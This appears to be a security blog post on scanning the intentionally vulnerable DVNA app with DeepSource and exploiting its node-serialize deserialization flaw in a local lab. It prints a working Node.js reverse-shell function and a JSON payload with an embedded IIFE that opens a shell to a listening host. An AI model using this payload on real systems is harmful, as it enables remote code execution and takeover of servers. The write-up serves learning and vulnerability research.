DeepSource - From Vulnerability discovery to Exploit development
Published: 2022-11-01 23:56:17

## I. Introduction


This post is the result of some recent experimental work with DeepSource, one the many Static Application Security Testing Tools out there, and highlights some of the insights i was able to gain during my learning process.

## II. About DeepSource


DeepSource is a powerful SAST engine offered as a convenient web application from which vulnerability analysis of a codebase can be conducted without requiring highly performant on premise resources. DeepSource works on the main concepts of **Analyzers** and **Transformers**.

**Analyzers** are language specific parsers, capable of detecting security issues in code as well as common programming antipatterns which may result in unstable conditions within the  software.

**Transformers** on the other hand are roughly linters, and code formatters specific to every supported language which will format and style codes pushed to repositories linked to DeepSource based on the programming language's specification for good coding style.


## III. The Tested Codebase: DVNA

Damn Vulnerable Node App ([dvna](https://github.com/appsecco/dvna.git)) was the target codebase used in this exercise. It is an intentionally vulnerable nodejs application with reasonable codebase size.

In total, 4 classes of vulnerabilities were identified by DeepSource within this codebase.


![Vulnerabilities reported by DeepSource](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xwpnvg1l1azovqihwtcu.png)


## IV. Focus on Deserialization

### Description

Deepsource identified a zone in the code vulnerable to unsafe deserialization of user supplied objects.

**Serialization** is the process of converting runtime objects and data structures into a form that is easily transferable over the network (JSON, binary blob, … etc) or for storage on disk. Serialization is really appreciated by programmers as it helps to snapshot runtime entities (objects/data) into a static form which could be stored as is on disk or shared over a network.

**Deserialization** on the other hand is the reverse process, which involves recovering the original objects or structures from their minified/encoded static representations. 

When user supplied input is not properly sanitized before deserialization, a situation of arbitrary code execution could arise, because functions too can be serialized and deserialized.
Hence a malicious user may craft serialized objects (with embedded functions) which when deserialized by the backend system will detonate the malicious functions embedded in them, and achieve the purpose coded in them.


![Code Section vulnerable to unsafe deserialization](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4yl5a03mjeayy9pk057q.png)


Further inspection of the reported line suggests that the concerned code section deserialized user-supplied **products** in some way, and saved them to the backend system.


![Closer look at vulnerable code section](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cll4grtrsdmvt0mzapro.png)

And the deserialization library used is  node-serialize.

![node-serialize imported for deserialization](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tuycdmwnioyo6inquxwy.png)

The deserialized products have the following structure.


![Structure of deserialized product object](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b4hinf2dsdk1nqt7fljt.png)

So, we could technically forge our own product that adheres to this same structure, but replace one of the attributes with a function which will be immediately invoked once the object gets deserialized on the backend.


### Exploiting the Vulnerability


To attempt exploiting This vulnerability,  a local docker instance of the vulnerable service, was deployed for testing


![Local Docker Instance for DVNA testing](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yjnj5h0ma98qxs8wqu6p.png)

#### 1. First we learn how to craft legit objects which can get accepted by the backend without any errors based on the **Product** object model

![Crafting valid objects for the backend](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5uvij21tnhkqdzc28pcp.png)

The serialized json object is put into an array because the backend expects several serialized products to be given to it at that endpoint.

![Save object to json array](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6j2mu7wmk85kklmputiu.png)


![DVNA expects a JSON array of serialized product objects](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uxo73o4bszpy2fqztk4s.png)

We save this output to **test.json** and submit to the web application.


![Upload test.json containing our serialized object](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9mimjrno0kcxai043yz8.png)

The backend successfully deserialized our object and added it to its product list.


![Our object got added to product list of backend](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wur6indf4npupd8tvn4c.png)

#### 2. Now that we know how to craft valid objects for the backend, we need to try making malicious ones which get us some custom code executed at the backend during deserialization time.

To Achieve this aim, the ideal kind of javascript construct is an **Immediately Invoked Function Expression 
(IIFE).**, it is one  which gets immediately executed once referenced or read.

So the plan is as follows, we know that when we send a valid javascript object to the backend, some of its fields such **name**, **code**, **tags** and **description** get referenced when the backend attempt to assign them to a new instance of product it creates for itself. To leverage this behavior, what we simply need to do is to feed in and IIFE to one of this fields so that when the backend references (attempts to read) that field, the IIFE immediately executes whatsoever arbitrary code we placed in it.

Below is a sample javascript reverse shell, in IIFE mode and in non-IIFE mode, we will leverage the IIFE version in our subsequent malicious object.


```javascript
// Immediately invoked (IIFE)
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8001, "<IP>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();


// Not Immediately invoked
function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8001, "<IP>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
}
```

#### 3. After several iterations of test and debug, the follow final payload object was obtained to get a reverse shell on the DVNA app.

```json
[
   {
      "name":"st11-1",
      "code":"708",
      "description":"Tryna Grab a Shell",
      "tags":"_$$ND_FUNC$$_function(){var net = require(\"net\");const cp = require(\"child_process\");const sh = cp.spawn(\"/bin/sh\", []);var client = new net.Socket();client.connect(8001, \"10.240.172.1\", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()"
   }
]
```

This payload was saved as **test2.json**, then uploaded to the Web application.


![upload test2.json to DVNA](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zf5r1s746l5o96xyyqtc.png)


After detonation of the embedded payload, a reverse shell was received on the listening machine.


![reverse shell access obtained](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0lgmha24ngvn0lt98rv6.png)

## V. References

-  https://developer.mozilla.org/en-US/docs/Glossary/IIFE
-  https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
- https://book.hacktricks.xyz/pentesting-web/deserialization